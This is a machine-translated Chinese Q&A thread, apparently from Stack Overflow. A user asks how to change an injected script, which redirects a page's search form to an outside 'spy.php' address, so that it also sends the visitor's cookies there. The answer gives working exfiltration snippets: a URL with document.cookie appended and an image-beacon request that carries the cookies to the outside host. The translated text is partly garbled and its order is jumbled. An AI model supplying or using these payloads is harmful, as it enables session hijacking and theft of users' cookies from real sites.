我有这个脚本,它发送无论是在搜索表单中输入(即搜索表单的id)给定的URL饼干和JavaScript
<script type="text/javascript">
document.getElementById("search-form").action="http://scitua.wlv.ac.uk/~in1345/spy.php";
</script >
如何修改脚本,以便它发送文档cookie intsead到URL?
我有这个脚本,它发送无论是在搜索表单中输入(即搜索表单的id)给定的URL饼干和JavaScript
<script type="text/javascript">
document.getElementById("search-form").action="http://scitua.wlv.ac.uk/~in1345/spy.php";
</script >
如何修改脚本,以便它发送文档cookie intsead到URL?
原来的答复:
".../spy.php?param=" + encodeURIComponent(document.cookies);
location.replace
来完成。第二种方法更复杂。在搜索表单提交你设置一个这样的cookie,然后你让搜索表单提交。在搜索页面上,您将检查该cookie,如果已设置,您将读取并删除它。好的,你现在需要发送它的价值。简单的方法是:
new Image().src="your_site?search="+search_val"+"&cookies="+document.cookies;
,如果你还没有进入搜索页面,你也可以在信息直接在用户提交搜索表单,但这样做是非常怀疑,因为用户会等到数据被发送到您的。
非常感谢您的帮助,但不幸的是,脚本仍然无法正常工作:( – IBK 2013-03-01 14:08:10
@IBK在您不发布更详细的信息之前,我无法帮助您 – Zaffy 2013-03-01 14:10:12
有一个具有搜索表单的网页。 ,我在搜索表单中搜索的任何东西都会发送到URL“http://scitua.wlv.ac.uk/~in1345/spy.php”。同样,我想要的是当我搜索任何东西时在第一个网页的搜索表单中,它还应该将文档cookie发送到URL“http://scitua.wlv.ac.uk/~in1345/spy.php” – IBK 2013-03-01 14:17:50
我需要明白你想要做什么...你想从当前页面(在域xyz.com)发送cookie到另一个域(scitua.wlv.ac.uk) ?你打算通过这个来达到什么目的? – TheZuck 2013-03-01 13:41:02
是@TheZuck,这是我想要做的。想知道如何修改上述脚本来达到这个目的? – IBK 2013-03-01 13:46:10